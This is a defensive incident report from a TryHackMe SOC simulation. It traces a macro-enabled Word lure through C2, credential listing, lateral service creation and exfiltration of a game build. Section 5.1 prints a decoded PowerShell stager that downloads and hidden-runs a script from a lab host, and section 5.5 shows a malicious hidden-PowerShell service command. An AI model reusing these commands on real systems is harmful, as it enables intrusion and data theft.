Incident Report: Repossessed

Macro-enabled lure → hands-on-keyboard intrusion → exfiltration of the NeuralNexus build

Prepared by Ullas T S
TryHackMe SOC Simulator, “It’s Downtime” CTF event

Incident date: 23 Oct 2026, 08:04–08:21
Verdict: **True Positive** (multi-stage attack chain)
Escalation: **Required** · **Severity:** **Critical**

Contents

1. Executive Summary 3
2. Scope and Environment 3
3. Alert Disposition 3
4. Attack Timeline 4
5. Technical Analysis 5
5.1 Initial execution (alerts 6352 and 6353) 5
5.2 Command and control (alert 6354) 5
5.3 Credential access (alert 6355) 5
5.4 Discovery (alert 6356) 5
5.5 Lateral movement and service creation (alert 6357) 5
5.6 Collection and exfiltration (alerts 6359 and 6360) 6
6. Indicators of Compromise 6
7. MITRE ATT&CK Mapping 7
8. Impact Assessment 7
9. Recommendations 8
Immediate containment and response 8
Hardening and detection (current industry practice) 8
10. Analyst Notes and Open Items 8

1. Executive Summary

At 08:04 on 23 October 2026, user `TRYHATME\m.smith` opened a downloaded macro-enabled Word document, `Q3_PressKit_Feedback.docm`, on workstation THM-MSMITH. Word immediately spawned a hidden, Base64-encoded PowerShell command that downloaded a second-stage script, `svchost_update.ps1`, from `paylink-cdn.thm:8067` and ran it with the execution policy bypassed.

Over the next 15 minutes 30 seconds the attacker beaconed to `45.147.230.131:8067`, listed saved Windows credentials, enumerated domain accounts, used the service account `svc-mktshare` to install a LocalSystem service (`SvcUpdate`) on a second host, THM-SREYES, compressed `C:\Dev\NeuralNexus\Build\*` into `nx_build_beta.7z`, and opened a connection to the same C2 server 65 seconds later.

Nine alerts (6352–6360) were triaged. Eight (6353–6360) belong to one attack chain. Alert 6352 is a benign Office AI helper process and was closed as a False Positive. The attack reached its objective: the unreleased NeuralNexus game build should be treated as stolen, both hosts as fully compromised, and the `svc-mktshare` and `m.smith` credentials as burned.

2. Scope and Environment

Entity	Detail
Patient zero	THM-MSMITH.tryhatmestudios.thm (10.60.10.22), user TRYHATME\m.smith
Second compromised host	THM-SREYES.tryhatmestudios.thm (10.60.10.20), ran as NT AUTHORITY\SYSTEM
Abused service account	TRYHATME\svc-mktshare (SID S-1-5-21-1966530601-3185510712-10604624-1126)
Data targeted	`C:\Dev\NeuralNexus\Build\*` (unreleased game build for the NeuralNexus launch)
Telemetry used	Sysmon (Event ID 1 process creation, Event ID 3 network connection) and Windows Security Event ID 4697, via Microsoft Sentinel
Context from SOC handover notes	NeuralNexus launch is imminent; threat intel mentioned a crew called Pinstripe Moth targeting game studios (no link to this activity was established, so no attribution is made); IT is trialling a crash-report uploader and its admin logins were to be ignored

3. Alert Disposition

Alert	Rule	Severity	Event time	Verdict	Escalated
6352	Suspicious Child Process Spawned (ai.exe)	**High**	08:04:08	**False Positive**	No
6353	Suspicious Child Process Spawned (encoded PowerShell)	**High**	08:04:08	**True Positive**	Yes

Alert	Rule	Severity	Event time	Verdict	Escalated
6354	Suspicious Outbound Connection Following Document Execution	**High**	08:04:11	**True Positive**	Yes
6355	Anomalous Credential Vault Access	**High**	08:04:12	**True Positive**	Yes
6356	Rapid Domain and Host Enumeration from Non-Administrative Host	**High**	08:09:12	**True Positive**	Yes
6357	Suspicious Remote Logon and Service Creation	**Critical**	08:11:42	**True Positive**	Yes
6358	Suspicious External Connection Following Archive Creation (104.18.32.47:443)	**Critical**	08:16:42	**True Positive as submitted, flagged for re-review (see section 10)**	Yes
6359	Suspicious Archive Utility Execution on Workstation	**High**	08:18:33	**True Positive**	Yes
6360	Suspicious External Connection Following Archive Creation (45.147.230.131:8067)	**Critical**	08:19:38	**True Positive**	Yes

4. Attack Timeline

All times are 10/23/2026, host clock.

Time	Host	Event
08:04:08	THM-MSMITH	WINWORD.EXE opens `Q3_PressKit_Feedback.docm` from Downloads; spawns ai.exe (benign) and an encoded PowerShell (PID 8572)
08:04:11	THM-MSMITH	PowerShell PID 8572 connects to 45.147.230.131:8067
08:04:12	THM-MSMITH	Hidden PowerShell PID 9356, running the dropped `svchost_update.ps1`, launches `VaultCmd.exe /listcreds:"Windows Credentials"`
08:09:12	THM-MSMITH	Same script runs `net.exe user /domain`
08:11:42	THM-SREYES	`svc-mktshare` installs service `SvcUpdate` (LocalSystem) that launches `svchost_update.ps1`
08:16:42	THM-SREYES	SYSTEM PowerShell PID 12408 opens HTTPS to 104.18.32.47:443 (alert 6358, see section 10)
08:18:33	THM-SREYES	SYSTEM PowerShell PID 14264 runs `7z.exe a -mx=1 C:\Windows\Temp\nx_build_beta.7z C:\Dev\NeuralNexus\Build\*`
08:19:38	THM-SREYES	PID 14264 connects to 45.147.230.131:8067, 65 seconds after the archive was created

Time from first execution (08:04:08) to the exfiltration connection (08:19:38): 15 minutes 30 seconds.

5. Technical Analysis

5.1 Initial execution (alerts 6352 and 6353)

Word (PID 6184, started with `/n "C:\Users\m.smith\Downloads\Q3_PressKit_Feedback.docm" /o ""`) created two children at the same millisecond:

- **ai.exe (6352, False Positive).** This is the Microsoft-signed Office Local AI Host, running from the Office install directory and loading the model `WordCombinedFloatieLreOnline.onnx`. Current Office builds do this routinely, and the rule fired purely on the parent and child relationship. Only the ai.exe process is benign: it shares a parent with the malicious PowerShell, so the document remains the infection source.
- **powershell.exe (6353, True Positive).** A 32-bit (SysWOW64) PowerShell launched with `-NoP -W Hidden -Enc <Base64>`. The macro itself was not extracted, so macro execution is inferred from the Word-to-PowerShell parentage.

Decoding the Base64 (UTF-16LE) gives the stager:

```
$stager = "$env:TEMP\svchost_update.ps1"
(New-Object Net.WebClient).DownloadFile('http://paylink-cdn.thm:8067/svchost_update.ps1', $stager)
Start-Process powershell.exe -ArgumentList "-NoP -W Hidden -ExecutionPolicy Bypass -File
`"$stager`"" -WindowStyle Hidden
```

It downloads a second-stage script over plain HTTP on a non-standard port into `%TEMP%`, names it after the Windows `svchost` process to blend in, and relaunches it hidden with the execution policy bypassed.

5.2 Command and control (alert 6354)

Three seconds after the document opened, PowerShell PID 8572 on 10.60.10.22 connected out to 45.147.230.131 on TCP 8067. The port matches the stager's download URL, so this address is presumed to be what `paylink-cdn.thm` resolves to. The destination has no business relationship with the organisation.

5.3 Credential access (alert 6355)

At 08:04:12, four seconds after the document opened, the dropped script (running in a new hidden PowerShell, PID 9356) launched `VaultCmd.exe` with `/listcreds:"Windows Credentials"`. This lists which resources and identities are stored in Windows Credential Manager. It does not print the passwords, but it shows the attacker which accounts and systems are worth targeting next.

5.4 Discovery (alert 6356)

Five minutes later the same script ran `net.exe user /domain`, enumerating domain accounts from a standard user workstation. The alert aggregates a burst of commands; only this command is captured in the evidence for this report, and the full set should be recovered from Sentinel (section 10). The exact five-minute gap is consistent with a timed beacon or an operator pause.

5.5 Lateral movement and service creation (alert 6357)

At 08:11:42, Security Event 4697 on THM-SREYES recorded `TRYHATME\svc-mktshare` (logon ID 0x24F6572) installing a service:

- Name: `SvcUpdate`, type 0x10, start type 3 (manual), account LocalSystem
- Image path: `cmd.exe /c start /b powershell.exe -NoP -NonI -W Hidden -ExecutionPolicy Bypass -File C:\Windows\Temp\svchost_update.ps1`

There is no real service executable, only a cmd-to-PowerShell wrapper pointing at the same script name used on the first host, a pattern typical of remote service-execution tooling. The logon type, source host, and the way the account's credentials were obtained are not in the evidence; the VaultCmd and domain-discovery activity on THM-MSMITH is the likely precursor but is unproven. The handover note to ignore extra admin logins refers to IT's crash-report uploader trial. This is a different account, whose name suggests a marketing file-share role, creating a SYSTEM service that runs a script from a Temp folder, so the exemption does not apply.

5.6 Collection and exfiltration (alerts 6359 and 6360)

On THM-SREYES, SYSTEM-level PowerShell PID 14264, running `svchost_update.ps1` from `C:\Windows\Temp`, executed `7z.exe a -mx=1 C:\Windows\Temp\nx_build_beta.7z C:\Dev\NeuralNexus\Build\*` at 08:18:33. The target is the unreleased NeuralNexus build named in the handover notes, compressed at the fastest level and staged in Temp. At 08:19:38 the same process (PID 14264) opened a connection to 45.147.230.131:8067, the same C2 address and port used at 08:04:11. The matching process, destination and 65-second gap are the basis for treating the archive as exfiltrated. Sysmon Event ID 3 records the connection but not the bytes sent, so the volume must be confirmed from firewall or NetFlow data.

6. Indicators of Compromise

Type	Indicator	Context
IP:port	45.147.230.131:8067 (TCP)	C2 and exfiltration destination
Domain	paylink-cdn.thm	Hosts the second-stage script
URL	`http://paylink-cdn.thm:8067/svchost_update.ps1`	Stager download
File	`C:\Users\m.smith\Downloads\Q3_PressKit_Feedback.docm`	Macro-enabled lure
File	`%TEMP%\svchost_update.ps1` (THM-MSMITH), `C:\Windows\Temp\svchost_update.ps1` (THM-SREYES)	Second-stage script
File	`C:\Windows\Temp\nx_build_beta.7z`	Staged archive of stolen data
Service	`SvcUpdate` (Event 4697)	Image path `cmd.exe /c start /b powershell.exe ... svchost_update.ps1`
Command line	`powershell.exe -NoP -W Hidden -Enc ...` with parent WINWORD.EXE	Stage 1 execution
Command line	`VaultCmd.exe /listcreds:"Windows Credentials"`, `net.exe user /domain`, `7z.exe a -mx=1 ...` with PowerShell parent	Post-exploitation
Accounts	TRYHATME\m.smith, TRYHATME\svc-mktshare	Compromised

The hashes in the alerts belong to genuine Microsoft and 7-Zip binaries and are not indicators. No hash was available for the document or the script.

7. MITRE ATT&CK Mapping

Tactic	Technique	Evidence
Execution	T1204.002 User Execution: Malicious File	User opened the .docm
Execution	T1059.001 PowerShell	Encoded, hidden PowerShell with bypass
Defense Evasion	T1027 Obfuscated Files or Information	Base64 `-Enc` command
Defense Evasion	T1036.005 Masquerading: Match Legitimate Name	Script named svchost_update.ps1
Command and Control	T1105 Ingress Tool Transfer	Script downloaded from paylink-cdn.thm
Command and Control	T1071.001 Web Protocols, T1571 Non-Standard Port	Traffic to port 8067
Credential Access	T1555.004 Windows Credential Manager	VaultCmd /listcreds
Discovery	T1087.002 Domain Account	net user /domain
Lateral Movement	T1021 Remote Services (sub-technique not confirmed), T1078.002 Domain Accounts	svc-mktshare used on THM-SREYES
Persistence / Execution	T1543.003 Windows Service, T1569.002 Service Execution	SvcUpdate as LocalSystem
Collection	T1560.001 Archive via Utility, T1005 Data from Local System	7z of the NeuralNexus build
Exfiltration	T1041 Exfiltration Over C2 Channel	Connection to the C2 IP and port after archiving

8. Impact Assessment

- **Confidentiality (high):** the NeuralNexus build was archived and very likely exfiltrated; the list of stored credential targets and domain accounts was exposed.
- **Integrity and availability:** no tampering or ransomware was observed, but the attacker held SYSTEM on a server and could have acted further.
- **Business:** loss of pre-launch intellectual property ahead of the NeuralNexus release, which calls for legal and executive involvement.
- **Attribution:** none. The Pinstripe Moth intel note is context only.

9. Recommendations

Immediate containment and response

1. Isolate THM-MSMITH and THM-SREYES through the EDR (network containment keeps volatile evidence), and capture memory and triage data before any cleanup.
2. Block 45.147.230.131, sinkhole `paylink-cdn.thm`, and deny outbound TCP 8067.
3. Disable `svc-mktshare` and end its sessions; reset `m.smith`; rotate every credential held in m.smith's Windows Credential Manager.
4. Terminate PowerShell PIDs 8572, 9356 and 14264; stop and delete service `SvcUpdate`; remove both copies of `svchost_update.ps1`, `nx_build_beta.7z` and the .docm after preserving evidence copies.
5. Hunt estate-wide for: Event 4697 or 7045 creating `SvcUpdate`; Event 4624 type 3 logons by `svc-mktshare`; the filename `svchost_update.ps1`; any connection to the C2 IP; and domain controller logs for enumeration from 10.60.10.22.
6. Notify the incident response lead, legal, and NeuralNexus leadership, and obtain the exfiltrated volume from perimeter logs.

Hardening and detection (current industry practice)

- **Office:** enable the Microsoft Defender ASR rule "Block all Office applications from creating child processes" (GUID D4F940AB-401B-4EFC-AADC-AD5F3C50688A), which would have stopped stage 1. Current Office builds block internet-sourced macros by default, so investigate why this one ran (policy override, or a delivery route that strips the Mark-of-the-Web such as an archive or disk image).
- **PowerShell:** turn on Script Block Logging (Event 4104), use AMSI-integrated EDR, and apply Constrained Language Mode with WDAC or AppLocker.
- **Identity:** replace `svc-mktshare` with a group managed service account, restrict it to named hosts, deny network logon where unneeded, and deploy LAPS and tiered administration.
- **Network:** default-deny egress through a proxy, block non-standard outbound ports, segment developer and build servers, and restrict admin SMB and RPC from workstations to servers.
- **Data protection:** DLP and file-access auditing on `C:\Dev`, and alerting on archivers run by SYSTEM under a script parent.
- **Detection engineering:** correlate the chain (Office to PowerShell to C2 within seconds) into one high-fidelity incident instead of nine alerts; allow-list ai.exe by signature, path and parent arguments to remove the false positive; add Sigma-style rules for 4697 images containing `cmd /c start /b powershell` and for `vaultcmd /listcreds`.

10. Analyst Notes and Open Items

Alert 6358 needs re-review. It was submitted as a True Positive, but the evidence supports a weaker conclusion than the other alerts:

- The connection (08:16:42) happened 1 minute 51 seconds *before* the archive existed (08:18:33), so it cannot have carried it.

- It came from a different process (PID 12408) than the one that created the archive and talked to the C2 (PID 14264), and no command line links PID 12408 to `svchost_update.ps1`.
- The destination appears to be Cloudflare-hosted address space on 443, not the attacker's C2. The handover note about IT's manually triggered crash-report uploader offers a possible benign explanation, though it is unproven.

To settle it: pull the CommandLine and ParentCommandLine of PID 12408 in Sentinel, check 104.18.32.47 in TryDetectThis, and confirm whether the process is tied to the stager. If it is benign, reclassify as a False Positive and update the case report. The overall incident verdict and escalation are unaffected.

Other open items:

- Initial delivery vector of the .docm (email, web download, other) is unknown.
- The full command set behind the enumeration alert (6356) was not captured.
- Source host and logon type for the `svc-mktshare` activity were not established.
- Bytes transferred to the C2 are unconfirmed.
- No scoping has been done for other hosts that may have received the stager.